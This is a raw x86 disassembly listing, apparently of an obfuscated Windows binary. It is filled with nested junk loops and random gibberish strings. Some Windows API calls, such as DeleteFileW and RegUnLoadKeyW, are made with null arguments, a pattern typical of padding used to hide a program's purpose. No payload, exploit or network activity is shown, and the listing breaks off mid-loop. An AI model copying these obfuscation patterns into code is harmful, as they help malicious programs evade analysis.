mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x6519
jge 0x460e0a
and dword [ebp - 0x1a4], 0
jmp 0x460d6c
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x6314
jge 0x460e05
and dword [ebp - 0x1ac], 0
jmp 0x460d92
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x504b
jge 0x460e00
mov esi, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x19c]
shl esi, cl
mov eax, dword [ebp - 0x1a4]
cdq
idiv dword [ebp - 0x1ac]
mov ecx, edx
sar esi, cl
mov eax, esi
cdq
mov dword [ebp - 0x730], eax
mov dword [ebp - 0x72c], edx
push dword [ebp - 0x72c]
push dword [ebp - 0x730]
lea ecx, [ebp - 0xba4]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xba4]
call fcn.004024b1
jmp 0x460d85
jmp 0x460d5f
jmp 0x460d39
jmp 0x460d13
and dword [ebp - 0x204], 0
jmp 0x460e25
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x2ebd
jge 0x4612e3
and dword [ebp - 0x1fc], 0
jmp 0x460e4b
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x5109
jge 0x4612de
mov dword [ebp - 0x4bc], 0x623f
mov dword [ebp - 0x704], str.ziog_tuy_ionvx_hyrcfxux
cmp dword [ebp - 0x4bc], 0x6373
jle 0x460f2a
and dword [ebp - 0x1b4], 0
jmp 0x460e95
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x3fdf
jge 0x460f2a
and dword [ebp - 0x1bc], 0
jmp 0x460ebb
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x2582
jge 0x460f25
and dword [ebp - 0x1c4], 0
jmp 0x460edd
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x6c09
jge 0x460f23
mov eax, dword [ebp - 0x1b4]
cdq
idiv dword [ebp - 0x1bc]
or edx, dword [ebp - 0x1c4]
mov eax, edx
cdq
mov dword [ebp - 0x73c], eax
mov dword [ebp - 0x738], edx
push dword [ebp - 0x738]
push dword [ebp - 0x73c]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x460ed0
jmp 0x460eae
jmp 0x460e88
and dword [ebp - 0x1ec], 0
jmp 0x460f40
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0x3d68
jge 0x461290
and dword [ebp - 0x1f4], 0
jmp 0x460f66
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x5cb5
jge 0x46128b
mov dword [ebp - 0x4ac], 0x6ced
mov dword [ebp - 0x6f8], str.ehcxwai_mcfhazd_bqwqzwkfe_csoimglp_entodmci_fpeoevop_wtyenbrz_bampbvp_tborcv
cmp dword [ebp - 0x4ac], 0x6f6b
jle 0x461099
and dword [ebp - 0x1cc], 0
jmp 0x460fb0
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x6941
jge 0x461099
and dword [ebp - 0x1d4], 0
jmp 0x460fd6
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x5dec
jge 0x461094
and dword [ebp - 0x1dc], 0
jmp 0x460ffc
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x6295
jge 0x46108f
and dword [ebp - 0x1e4], 0
jmp 0x461022
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x64c
jge 0x46108a
mov eax, dword [ebp - 0x1cc]
add eax, dword [ebp - 0x1d4]
mov ecx, dword [ebp - 0x1dc]
imul ecx, dword [ebp - 0x1e4]
add eax, ecx
cdq
mov dword [ebp - 0x748], eax
mov dword [ebp - 0x744], edx
push dword [ebp - 0x744]
push dword [ebp - 0x748]
lea ecx, [ebp - 0xbd4]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xbd4]
call fcn.004024b1
jmp 0x461015
jmp 0x460fef
jmp 0x460fc9
jmp 0x460fa3
mov eax, dword [ebp - 0x1ec]
imul eax, dword [ebp - 0x1f4]
xor eax, dword [ebp - 0x1fc]
or eax, dword [ebp - 0x204]
cdq
mov dword [ebp - 0x760], eax
mov dword [ebp - 0x75c], edx
mov dword [ebp - 4], 0x76
cmp dword [ebp - 0x4ac], 0x69d5
jge 0x4610de
push dword [ebp - 0x6f8]
call fcn.004814e5
pop ecx
jmp 0x4610fa
or dword [ebp - 4], 0xffffffff
jmp 0x461104
mov dword [ebp - 0x4b4], 0x1bc6
mov dword [ebp - 0x908], str.owsinb_edrrooj_tsr_etus_vzbleondf_scikj
cmp dword [ebp - 0x4b4], 0x1e94
jle 0x46120b
and dword [ebp - 0x20c], 0
jmp 0x46113e
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0x21f1
jge 0x461203
and dword [ebp - 0x214], 0
jmp 0x461164
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x5df6
jge 0x4611fe
and dword [ebp - 0x21c], 0
jmp 0x46118a
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x3f27
jge 0x4611f9
and dword [ebp - 0x224], 0
jmp 0x4611ac
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x4986
jge 0x4611f7
mov eax, dword [ebp - 0x20c]
or eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 0x21c]
add ecx, dword [ebp - 0x224]
or eax, ecx
cdq
mov dword [ebp - 0x754], eax
mov dword [ebp - 0x750], edx
push dword [ebp - 0x750]
push dword [ebp - 0x754]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x46119f
jmp 0x46117d
jmp 0x461157
jmp 0x461131
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [ebp - 0x75c]
push dword [ebp - 0x760]
lea ecx, [ebp - 0xc04]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xc04]
call fcn.004024b1
mov dword [ebp - 4], 0x78
cmp dword [ebp - 0x4b4], 0x19e6
jge 0x461260
mov edx, dword [ebp - 0x908]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x46127c
or dword [ebp - 4], 0xffffffff
jmp 0x461286
jmp 0x460f59
jmp 0x460f33
mov dword [ebp - 4], 0x7a
cmp dword [ebp - 0x4bc], 0x5f6e
jge 0x4612b3
mov edx, dword [ebp - 0x704]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x4612cf
or dword [ebp - 4], 0xffffffff
jmp 0x4612d9
jmp 0x460e3e
jmp 0x460e18
mov dword [ebp - 4], 0x7c
cmp dword [ebp - 0x4c4], 0xc07
jge 0x461302
push dword [ebp - 0x968]
call fcn.004814e5
pop ecx
jmp 0x46131e
or dword [ebp - 4], 0xffffffff
jmp 0x461328
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.00458771
pop ecx
mov dword [ebp - 4], 0x7e
mov dword [ebp - 0x4dc], 0x7625
mov dword [ebp - 0x71c], str.javkhhx_ljmtsekf_nysdsaa_ewcwf_dghdom
cmp dword [ebp - 0x4dc], 0x76cf
jle 0x461426
and dword [ebp - 0x23c], 0
jmp 0x461374
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x7641
jge 0x461426
and dword [ebp - 0x22c], 0
jmp 0x46139a
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x4117
jge 0x461421
and dword [ebp - 0x234], 0
jmp 0x4613bc
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x2dd2
jge 0x46141c
mov eax, dword [ebp - 0x22c]
imul eax, dword [ebp - 0x234]
or eax, dword [ebp - 0x23c]
cdq
mov dword [ebp - 0x76c], eax
mov dword [ebp - 0x768], edx
push dword [ebp - 0x768]
push dword [ebp - 0x76c]
lea ecx, [ebp - 0xc34]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xc34]
call fcn.004024b1
jmp 0x4613af
jmp 0x46138d
jmp 0x461367
cmp dword [ebp - 0x4cc], 0x2a0e
jge 0x461592
mov dword [ebp - 0x4d4], 0x1d8b
mov dword [ebp - 0x914], str.tgfghaut_yxlst_nvqalicna_zvdyaootc_qddyqusgq_rdx_qzkc_loq_btbp_xkmeu_fdpxssyt_hdufrthlr
cmp dword [ebp - 0x4d4], 0x1f8f
jle 0x46153e
push 0xdd4
push 0
push 0x3f2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
and dword [ebp - 0x244], 0
jmp 0x461489
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x7a56
jge 0x46153e
and dword [ebp - 0x24c], 0
jmp 0x4614af
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0x581b
jge 0x461539
and dword [ebp - 0x254], 0
jmp 0x4614d1
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x5a9f
jge 0x461534
mov eax, dword [ebp - 0x244]
mov ecx, dword [ebp - 0x24c]
sar eax, cl
mov ecx, dword [ebp - 0x254]
sar eax, cl
cdq
mov dword [ebp - 0x778], eax
mov dword [ebp - 0x774], edx
push dword [ebp - 0x774]
push dword [ebp - 0x778]
lea ecx, [ebp - 0xc64]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xc64]
call fcn.004024b1
jmp 0x4614c4
jmp 0x4614a2
jmp 0x46147c
push dword [ebp - 0x710]
call fcn.004814e5
pop ecx
mov byte [ebp - 4], 0x7f
cmp dword [ebp - 0x4d4], 0x1a5e
jge 0x461566
push dword [ebp - 0x914]
call fcn.004814e5
pop ecx
jmp 0x461582
mov dword [ebp - 4], 0x7e
jmp 0x461592
mov byte [ebp - 4], 0x81
cmp dword [ebp - 0x4dc], 0x7397
jge 0x4615ae
push dword [ebp - 0x71c]
call fcn.004814e5
pop ecx
jmp 0x4615ca
mov dword [ebp - 4], 0x7e
jmp 0x4615da
jmp 0x461734
or dword [ebp - 4], 0xffffffff
jmp 0x46173e
mov dword [ebp - 4], 0x86
cmp dword [ebp - 0x4ec], 0x4a42
jge 0x46175d
push dword [ebp - 0x728]
call fcn.004814e5
pop ecx
jmp 0x461779
or dword [ebp - 4], 0xffffffff
jmp 0x461783
mov dword [ebp - 0x4f4], 0x7c86
mov dword [ebp - 0x920], str.qfndw_xmunupr_gpogro_chu_jmrui_lmlmtdy_hsmehylfc_vdc_xzhxanr
cmp dword [ebp - 0x4f4], 0x7da8
jle 0x461853
and dword [ebp - 0x274], 0
jmp 0x4617bd
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0x579b
jge 0x461853
and dword [ebp - 0x27c], 0
jmp 0x4617e3
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0x4e85
jge 0x46184e
and dword [ebp - 0x284], 0
jmp 0x461805
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0xad5
jge 0x46184c
mov eax, dword [ebp - 0x274]
mov ecx, dword [ebp - 0x27c]
sar eax, cl
mov ecx, dword [ebp - 0x284]
sar eax, cl
cdq
mov dword [ebp - 0x790], eax
mov dword [ebp - 0x78c], edx
push dword [ebp - 0x78c]
push dword [ebp - 0x790]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x4617f8
jmp 0x4617d6
jmp 0x4617b0
mov dword [ebp - 0x50c], 0x7e27
mov dword [ebp - 4], 0x88
cmp dword [ebp - 0x4f4], 0x7b77
jge 0x461880
mov edx, dword [ebp - 0x920]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x46189c
or dword [ebp - 4], 0xffffffff
jmp 0x4618a6
mov dword [ebp - 0x4fc], 0x4e80
mov dword [ebp - 0x734], str.sypnu_ahw_ylsf_serzwyz_jyuszofqg_etgwuplv_ujqolhgq_coq_fiajzdmhi_kow_tuur
cmp dword [ebp - 0x4fc], 0x521f
jle 0x46197c
and dword [ebp - 0x29c], 0
jmp 0x4618e0
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0x5106
jge 0x461974
and dword [ebp - 0x28c], 0
jmp 0x461906
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x3ed1
jge 0x46196f
and dword [ebp - 0x294], 0
jmp 0x461928
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x2a98
jge 0x46196d
mov eax, dword [ebp - 0x28c]
mov ecx, dword [ebp - 0x294]
shl eax, cl
xor eax, dword [ebp - 0x29c]
cdq
mov dword [ebp - 0x79c], eax
mov dword [ebp - 0x798], edx
push dword [ebp - 0x798]
push dword [ebp - 0x79c]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x46191b
jmp 0x4618f9
jmp 0x4618d3
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
mov dword [ebp - 0x740], str.gqhpagjcc_cwkzidsmc_tdmgvnbhi_nkocsu_utinaadjr_pwrxnc
mov dword [ebp - 4], 0x8a
cmp dword [ebp - 0x4fc], 0x4e65
jge 0x4619a9
mov edx, dword [ebp - 0x734]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x4619c5
or dword [ebp - 4], 0xffffffff
jmp 0x4619cf
cmp dword [ebp - 0x50c], 0x800a
jle 0x461ae7
and dword [ebp - 0x2a4], 0
jmp 0x4619f5
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x62fa
jge 0x461adf
and dword [ebp - 0x2ac], 0
jmp 0x461a1b
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x2c86
jge 0x461ada
and dword [ebp - 0x2b4], 0
jmp 0x461a41
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x36c9
jge 0x461ad5
and dword [ebp - 0x2bc], 0
jmp 0x461a67
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0x2fb8
jge 0x461ad0
mov eax, dword [ebp - 0x2a4]
xor eax, dword [ebp - 0x2ac]
mov edx, dword [ebp - 0x2b4]
mov ecx, dword [ebp - 0x2bc]
shl edx, cl
or eax, edx
cdq
mov dword [ebp - 0x7a8], eax
mov dword [ebp - 0x7a4], edx
push dword [ebp - 0x7a4]
push dword [ebp - 0x7a8]
lea ecx, [ebp - 0xcc4]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xcc4]
call fcn.004024b1
jmp 0x461a5a
jmp 0x461a34
jmp 0x461a0e
jmp 0x4619e8
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x504], 0x6e59
mov dword [ebp - 0x590], str.jhrpequvi_hqgyqf_wimrgy_ytszu_quns
cmp dword [ebp - 0x504], 0x6e74
jle 0x461b84
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
and dword [ebp - 0x2c4], 0
jmp 0x461b23
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x5465
jge 0x461b84
and dword [ebp - 0x2cc], 0
jmp 0x461b45
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0x1f34
jge 0x461b82
mov eax, dword [ebp - 0x2c4]
sub eax, dword [ebp - 0x2cc]
cdq
mov dword [ebp - 0x7b8], eax
mov dword [ebp - 0x7b4], edx
push dword [ebp - 0x7b4]
push dword [ebp - 0x7b8]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x461b38
jmp 0x461b16
movsx eax, word [ebp - 0x14]
cmp eax, 5
jne 0x461b98
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.00459d82
pop ecx
mov dword [ebp - 4], 0x8c
cmp dword [ebp - 0x504], 0x6da8
jge 0x461bbb
mov edx, dword [ebp - 0x590]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x461bd7
or dword [ebp - 4], 0xffffffff
jmp 0x461be1
mov dword [ebp - 0x524], 0x1d76
mov dword [ebp - 0x8b0], str.ghbgyx_awiudht_eyvv
cmp dword [ebp - 0x524], 0x201d
jle 0x461cb7
and dword [ebp - 0x2d4], 0
jmp 0x461c1b
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x39f0
jge 0x461c9d
and dword [ebp - 0x2dc], 0
jmp 0x461c3d
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0x54e0
jge 0x461c98
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [ebp - 0x2dc]
sar eax, cl
cdq
mov dword [ebp - 0x7c8], eax
mov dword [ebp - 0x7c4], edx
push dword [ebp - 0x7c4]
push dword [ebp - 0x7c8]
lea ecx, [ebp - 0xcf4]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xcf4]
call fcn.004024b1
jmp 0x461c30
jmp 0x461c0e
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
mov dword [ebp - 4], 0x8e
mov dword [ebp - 0x514], 0x13ef
mov dword [ebp - 0x92c], str.ioeurmaon_ykon_tdwgu_xarzuzcfm_eellwo_xizfo_pntoqnpp_qvqnemp_cjt_imo_pllve_netafg_aay_voi
cmp dword [ebp - 0x514], 0x17a5
jle 0x461d8a
and dword [ebp - 0x2f4], 0
jmp 0x461cf8
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0x480a
jge 0x461d8a
and dword [ebp - 0x2e4], 0
jmp 0x461d1e
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0xc7b
jge 0x461d85
and dword [ebp - 0x2ec], 0
jmp 0x461d40
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x1e1d
jge 0x461d83
mov eax, dword [ebp - 0x2e4]
sub eax, dword [ebp - 0x2ec]
and eax, dword [ebp - 0x2f4]
cdq
mov dword [ebp - 0x7d8], eax
mov dword [ebp - 0x7d4], edx
push dword [ebp - 0x7d4]
push dword [ebp - 0x7d8]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x461d33
jmp 0x461d11
jmp 0x461ceb
cmp dword [ebp - 0x50c], 0x7e08
jge 0x461da2
push dword [ebp - 0x740]
call fcn.004814e5
pop ecx
mov byte [ebp - 4], 0x8f
cmp dword [ebp - 0x514], 0x1285
jge 0x461dc2
mov edx, dword [ebp - 0x92c]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x461dde
mov dword [ebp - 4], 0x8e
jmp 0x461dee
jmp 0x461f8a
or dword [ebp - 4], 0xffffffff
jmp 0x461f94
mov dword [ebp - 4], 0x94
cmp dword [ebp - 0x524], 0x1ba1
jge 0x461fb3
push dword [ebp - 0x8b0]
call fcn.004814e5
pop ecx
jmp 0x461fcf
or dword [ebp - 4], 0xffffffff
jmp 0x461fd9
movsx eax, word [ebp - 0x14]
cmp eax, 6
jne 0x462696
mov dword [ebp - 0x53c], 0x6e33
mov dword [ebp - 0x764], str.nmj_xqmtdfe_yqrlv_ptnaulslc_uhmqsjzr_oqswzwjy
cmp dword [ebp - 0x53c], 0x7071
jle 0x4622d7
and dword [ebp - 0x334], 0
jmp 0x462020
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0x46a5
jge 0x4622d7
and dword [ebp - 0x33c], 0
jmp 0x462046
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x6139
jge 0x4622d2
mov dword [ebp - 0x52c], 0x5304
mov dword [ebp - 0x758], str.ewg_frx_nlutxadzq_xpady_fon_ryvhcpi_baxnazkyu_oycybot_hipy_tnzpibtcf_aphvv_rkuz_mtawugcdd
cmp dword [ebp - 0x52c], 0x5335
jle 0x462125
and dword [ebp - 0x32c], 0
jmp 0x462090
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0x1919
jge 0x462125
and dword [ebp - 0x31c], 0
jmp 0x4620b6
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0xa6f
jge 0x462120
and dword [ebp - 0x324], 0
jmp 0x4620d8
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0x7abf
jge 0x46211e
mov eax, dword [ebp - 0x31c]
cdq
idiv dword [ebp - 0x324]
or edx, dword [ebp - 0x32c]
mov eax, edx
cdq
mov dword [ebp - 0x7f8], eax
mov dword [ebp - 0x7f4], edx
push dword [ebp - 0x7f4]
push dword [ebp - 0x7f8]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x4620cb
jmp 0x4620a9
jmp 0x462083
mov eax, dword [ebp - 0x334]
mov ecx, dword [ebp - 0x33c]
shl eax, cl
cdq
mov dword [ebp - 0x818], eax
mov dword [ebp - 0x814], edx
mov dword [ebp - 4], 0x96
cmp dword [ebp - 0x52c], 0x4f36
jge 0x462163
mov edx, dword [ebp - 0x758]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x46217f
or dword [ebp - 4], 0xffffffff
jmp 0x462189
mov dword [ebp - 0x534], 0x166a
mov dword [ebp - 0x8b8], str.tcugiq_lvsyfwz_shz_csk_zofv_tgeixher_czgsrjx_ulewlvd_owx_hzigcxywz
cmp dword [ebp - 0x534], 0x1947
jle 0x46226e
and dword [ebp - 0x354], 0
jmp 0x4621c3
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0x63ec
jge 0x462258
and dword [ebp - 0x344], 0
jmp 0x4621e9
cmp dword [ebp - 0x344], 0x1681
jge 0x462253
and dword [ebp - 0x34c], 0
jmp 0x46220b
cmp dword [ebp - 0x34c], 0x62c8
jge 0x462251
mov eax, dword [ebp - 0x344]
cdq
idiv dword [ebp - 0x34c]
add edx, dword [ebp - 0x354]
mov eax, edx
cdq
mov dword [ebp - 0x808], eax
mov dword [ebp - 0x804], edx
push dword [ebp - 0x804]
push dword [ebp - 0x808]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x4621fe
jmp 0x4621dc
jmp 0x4621b6
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push dword [ebp - 0x814]
push dword [ebp - 0x818]
mov ecx, 0xab4140
call fcn.0047c836
mov dword [ebp - 4], 0x98
cmp dword [ebp - 0x534], 0x135c
jge 0x4622a7
mov edx, dword [ebp - 0x8b8]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x4622c3
or dword [ebp - 4], 0xffffffff
jmp 0x4622cd
jmp 0x462039
jmp 0x462013
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.0045b0af
pop ecx
mov dword [ebp - 0x554], 0x2da2
mov dword [ebp - 0x8c8], str.bqtxtqtk_elnu_sqvjhx_jkpw_kytyfmr_hxutqh_yekbu_uykykk_safwfdj_ryhenbrm_giagqejf_vytukk
cmp dword [ebp - 0x554], 0x2f98
jle 0x4623eb
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
and dword [ebp - 0x35c], 0
jmp 0x462324
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0x24eb
jge 0x4623eb
and dword [ebp - 0x364], 0
jmp 0x46234a
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0x25bf
jge 0x4623e6
and dword [ebp - 0x36c], 0
jmp 0x462370
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x28ff
jge 0x4623e1
and dword [ebp - 0x374], 0
jmp 0x462392
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0x6e75
jge 0x4623df
mov eax, dword [ebp - 0x35c]
sub eax, dword [ebp - 0x364]
mov edx, dword [ebp - 0x36c]
mov ecx, dword [ebp - 0x374]
sar edx, cl
or eax, edx
cdq
mov dword [ebp - 0x828], eax
mov dword [ebp - 0x824], edx
push dword [ebp - 0x824]
push dword [ebp - 0x828]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x462385
jmp 0x462363
jmp 0x46233d
jmp 0x462317
mov dword [ebp - 4], 0x9a
mov dword [ebp - 0x544], 0xd18
mov dword [ebp - 0x8c0], str.bpxeewx_mla_igcn_arqna_ntmih
cmp dword [ebp - 0x544], 0xe1b
jle 0x4624ac
and dword [ebp - 0x37c], 0
jmp 0x46242c
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0x62e3
jge 0x4624ac
and dword [ebp - 0x384], 0
jmp 0x46244e
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0x4b33
jge 0x4624a7
mov eax, dword [ebp - 0x37c]
and eax, dword [ebp - 0x384]
cdq
mov dword [ebp - 0x838], eax
mov dword [ebp - 0x834], edx
push dword [ebp - 0x834]
push dword [ebp - 0x838]
lea ecx, [ebp - 0xd54]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xd54]
call fcn.004024b1
jmp 0x462441
jmp 0x46241f
cmp dword [ebp - 0x53c], 0x6c1b
jge 0x4624c8
mov edx, dword [ebp - 0x764]
mov ecx, 0xab4140
call fcn.0047dce4
mov byte [ebp - 4], 0x9b
cmp dword [ebp - 0x544], 0xb18
jge 0x4624e4
push dword [ebp - 0x8c0]
call fcn.004814e5
pop ecx
jmp 0x462500
mov dword [ebp - 4], 0x9a
jmp 0x462510
jmp 0x462643
or dword [ebp - 4], 0xffffffff
jmp 0x46264d
mov dword [ebp - 4], 0xa0
cmp dword [ebp - 0x554], 0x2b97
jge 0x462670
mov edx, dword [ebp - 0x8c8]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x46268c
or dword [ebp - 4], 0xffffffff
jmp 0x462696
mov dword [ebp - 0x584], 0x534c
mov dword [ebp - 0x55c], 0x61fb
mov dword [ebp - 0x77c], str.jlnobvfor_jlbffpdk_lkpx_czjjkcs_zcfsbjcsa_rphjwged_nyltobu_rbsnvpy_mfm
cmp dword [ebp - 0x55c], 0x654b
jle 0x4627a7
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
and dword [ebp - 0x3ac], 0
jmp 0x4626e4
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 0x981
jge 0x46279a
and dword [ebp - 0x39c], 0
jmp 0x46270a
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 0x6e8d
jge 0x462795
and dword [ebp - 0x3a4], 0
jmp 0x46272c
mov eax, dword [ebp - 0x3a4]
inc eax
